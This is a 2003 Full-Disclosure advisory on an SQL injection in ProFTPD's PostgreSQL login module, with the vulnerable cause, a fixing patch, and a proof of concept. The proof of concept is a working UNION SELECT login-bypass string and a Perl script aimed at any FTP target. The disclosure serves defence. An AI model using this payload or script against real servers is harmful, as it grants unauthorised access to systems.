

# [Full-Disclosure] SQL Inject in ProFTPD login against Postgresql using mod\_sql

*Source:* <http://www.derkeiler.com/Mailing-Lists/Full-Disclosure/2003-06/0585.html>

---

*From:* runlevel ([runlevel\\_at\\_linuxmail.org](mailto:runlevel_at_linuxmail.org))

*Date:* 06/18/03

To: [full-disclosure@lists.netsys.com](mailto:full-disclosure@lists.netsys.com), [bugtraq@securityfocus.com](mailto:bugtraq@securityfocus.com)

Date: Wed, 18 Jun 2003 21:48:40 +0100

=====  
SQL Inject in ProFTPD login against  
Postgresql using mod\_sql  
=====

Author: runlevel [[runlevel@raregazz.org](mailto:runlevel@raregazz.org)]

Date: 20/Jan/2003

Release: 18/Jun/2003

Barcelona, Spain 2003

Systems Affected

=====  
All ProFTPD prior to ProFTPD 1.2.9rc1 against PostgreSQL using mod\_sql  
and ProFTPD 1.2.9rc1 using a version lower than PostgreSQL 7.2.

Overview

=====  
A SQL Inject exists in ProFTPD server using the mod\_sql module to  
authenticate against PostgreSQL database server. This vulnerability  
may allow a remote user to login without user and password.

Description

=====  
Mod\_sql is an authentication module for ProFTPD. The backend module  
mod\_sql\_postgres is used to authenticate users doing a query to  
postgresql server to retrieve user and password.

Mod\_sql\_postgres don't implements any function to escape strings and  
it may allow to inject sql code in user login. The solution of module  
programmer is the comment in the source code:

```
/* PostgreSQL has no way to escape strings internally */
```

## Full-Disclosure: [Full-Disclosure] SQL Inject in ProFTPD login against Postgresql using mod\_sql

In proftpd 1.2.9rc1 remove POSTGRES\_NO\_ESCAPESTRING #define, and always expect PQescapestring() to be present. With this patch, mod\_sql\_postgres will always fail unless the Postgres library is new enough.

---

Index: contrib/mod\_sql\_postgres.c

=====  
RCS file: /cvsroot/proftpd/proftpd/contrib/mod\_sql\_postgres.c,v

retrieving revision 1.15

diff -u -r1.15 mod\_sql\_postgres.c

--- contrib/mod\_sql\_postgres.c 29 May 2003 07:29:43 -0000 1.15

+++ contrib/mod\_sql\_postgres.c 17 Jun 2003 20:52:30 -0000

@@ -1105,23 +1105,13 @@

conn = (db\_conn\_t \*) entry->data;

/\* Note: the PQescapeString() function appeared in the C API as of  
- \* Postgres-7.2; this macro allows for functioning with older postgres  
- \* installations. Unfortunately, Postgres' PG\_VERSION is defined as  
- \* a string, not an actual number, which makes for preprocessor-time checking  
- \* of that value much harder.  
- \*

- \* Ideally, this function could be detected by a configure script, but  
- \* ProFTPD does not yet support per-module configure scripts.

+ \* Postgres-7.2.

\*/

+#ifndef POSTGRES\_NO\_PQESCAPESTRING

unescaped = cmd->argv[1];

escaped = (char \*) pcalloc(cmd->tmp\_pool, sizeof(char) \*  
(strlen(unescaped) \* 2) + 1);

PQescapeString(escaped, unescaped, strlen(unescaped));

+#else

- escaped = cmd->argv[1];

+#endif

sql\_log(DEBUG\_FUNC, "%s", "exiting \tpostgres cmd\_escapestring");

return mod\_create\_data(cmd, (void \*) escaped);

---

### Impact

=====

Any attacker who can reach a vulnerable server can login without user and password. Moreover, the attacker can change his login id, gid and path.

### Proof Of Concept

=====

## Full-Disclosure: [Full-Disclosure] SQL Inject in ProFTPD login against Postgresql using mod\_sql

A proof of concept is shown to demonstrate de sql injection. The versions used are: mod\_sql v.4.0, postgresql 7.2.1-2 and proftpd 1.2.8.

```
runlevel@runlevel:~/$ ftp localhost
Connected to localhost.
220 ProFTPD 1.2.8 Server (Debian) [*****]
Name (localhost:runlevel): )UNION SELECT
'u','p',1001,1001,'/tmp','/bin/bash' WHERE("="
331 Password required for )UNION.
Password:
230 User )UNION SELECT 'u','p',1001,1001,'/tmp'
,'/bin/bash' WHERE("=" logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

We can view the final sql query in syslog:

```
Jun 9 01:40:54 runlevel proftpd[10978]: ***** (127.0.0.1[127.0.0.1]) -
mod_sql_postgres/4.01: query "SELECT userid, passwd, uid, gid,
shell FROM prue WHERE (userid=")UNION SELECT 'u','p',1002,1002,
'/bin/bash' WHERE("=") LIMIT 1"
```

Perl script to automatize the process:

```
#!/usr/bin/perl
# Sql inject on ProFTPD with mod_sql proof of concept script
# runlevel [ runlevel@raregazz.org ]
# Spain, 2003

use IO::Socket;
if(@ARGV<2){
    print "\nProof Of Concept Sql Inject on ProFTPD\n";
    print "Usage: perl poc-sqlftp <target> [1=Alternate query]\n\n";
    exit(0);
};

$server = $ARGV[0];
$query = $ARGV[1];
$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>$server,PeerPort=>"21",Reuse=>1)
    or die "Can't connect. \n";
if(defined($line=<$remote>)){
    print STDOUT $line;
}

# Proof of concept query, it may change on the number of rows
# By default, it can query User, Pass, Uid, Gid, Shell or
# User, Pass, Uid, Gid, Shell, Path, change the union query...

if($query eq "1"){
    print $remote "USER )UNION SELECT'u','p',1002,1002,'/tmp','/bin/bash'WHERE("=\n";
```

Full-Disclosure: [Full-Disclosure] SQL Inject in ProFTPD login against Postgresql using mod\_sql

```
}else{
  print $remote "USER ')UNION SELECT'u','p',1002,1002,'/bin/bash' WHERE('=\\n";
};
if(defined($line=<$remote>)){
  print STDOUT $line;
}
print $remote "PASS p\\n";
if(defined($line=<$remote>)){
  print STDOUT $line;
}
print "Sent query to $ARGV[0]\\n";
if($line =~ /230/){ #logged in
  print "[----- Sql Inject Able \\n";
}else{
  print "[----- Sql Inject Unable \\n";
}
close $remote;
```

---

-----  
--RareGaZz--  
1996-2003, Derechos Reservados (c)  
RST - <http://www.raregazz.org>

---

--  

---

<http://www.linuxmail.org/>  
Now with e-mail forwarding for only US\$5.95/yr  
Powered by Outblaze

---

Full-Disclosure - We believe in it.  
Charter: <http://lists.netsys.com/full-disclosure-charter.html>